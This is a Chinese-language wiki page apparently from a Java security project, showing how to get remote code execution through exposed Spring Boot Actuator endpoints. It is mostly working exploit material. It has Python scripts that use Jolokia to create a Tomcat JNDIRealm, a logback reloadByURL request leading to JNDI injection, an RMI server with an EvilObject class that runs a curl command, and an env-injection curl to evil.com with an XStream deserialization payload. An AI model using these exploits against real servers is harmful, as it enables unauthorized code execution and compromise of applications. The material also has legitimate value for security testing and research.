Skip to content

Actuators to RCE

JoyChou edited this page Jul 3, 2019 · 8 revisions

Actuators + jolokia

存在logback.xml

  1. SpringBoot配置logback默认的文件名是logback.xmllogback-spring.xml,但是也可以在application.properties里配置logging.config=classpath:logback-aaa.xml,这样logback的文件名就是logback-aaa.xml

  2. logback内容配置了jmxConfigurator

比如下面的logback.xml配置:

<configuration>
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <withJansi>true</withJansi>
        <encoder>
            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
        </encoder>
    </appender>
    <root level="info">
        <appender-ref ref="STDOUT" />
    </root>
    <jmxConfigurator/>
</configuration>

EXP:

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8888!/xxx.xml

xxx.xml内容:

<configuration>
	<insertFromJNDI env-entry-name="rmi://127.0.0.1:1099/xxx" as="appName"/>
</configuration>

针对Java版本的JNDI注入,可自行Google,都有姿势可以绕过。

RMIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://test.joychou.org:8888/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://0.0.0.0:1099/xxx'");
        registry.bind("xxx", refObjWrapper);
    }
}

EvilObject.java

import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {

    public EvilObject() {
        try{
            // 要执行的命令
            String commands = "curl http://rce.dnslog/joychou";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        EvilObject e = new EvilObject();
    }

}

不存在logback.xml

访问http://localhost:8080/jolokia,有response貌似可能就存在漏洞。

当然了,存在logback.xml也能使用下面的EXP。

EXP:

import requests as req
import sys

url = sys.argv[1] + "/jolokia/"
print(url)

create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://test.joychou.org:1099/xxx"
}

stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    print rep.json()

换成GET请求:

import requests as req
import sys

url = sys.argv[1] + "/jolokia"
print(url)


create_JNDIrealm = '/exec/Tomcat:type=MBeanFactory/createJNDIRealm/Tomcat:type=Engine'
set_contextFactory = '/write/Tomcat:realmPath=!/realm0,type=Realm/contextFactory/com.sun.jndi.rmi.registry.RegistryContextFactory'
set_connectionURL = '/write/Tomcat:realmPath=!/realm0,type=Realm/connectionURL/rmi:!/!/test.joychou.org:1099!/xxx'
stop_JNDIrealm = '/exec/Tomcat:realmPath=!/realm0,type=Realm/stop/'
start = '/exec/Tomcat:realmPath=!/realm0,type=Realm/start/'

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.get(url + i)
    print rep.json()

Actuators + Spring Cloud

Application上要有注解@EnableEurekaClient,才能反序列化命令执行。没有注解也能设置env的值。

配置:

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
            <version>1.4.0.RELEASE</version>
        </dependency>

代码:

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;

@SpringBootApplication
@EnableEurekaClient
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

EXP:

curl -d 'eureka.client.serviceUrl.defaultZone=http://evil.com/n/xstream' http://localhost:8090/env

http://evil.com/n/xstream 的Content-Type需要是application/xml格式,内容:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Reference

Clone this wiki locally